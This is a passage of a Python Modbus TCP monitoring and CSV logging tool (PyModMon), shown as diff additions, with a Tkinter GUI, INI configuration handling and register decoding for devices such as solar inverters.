requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called 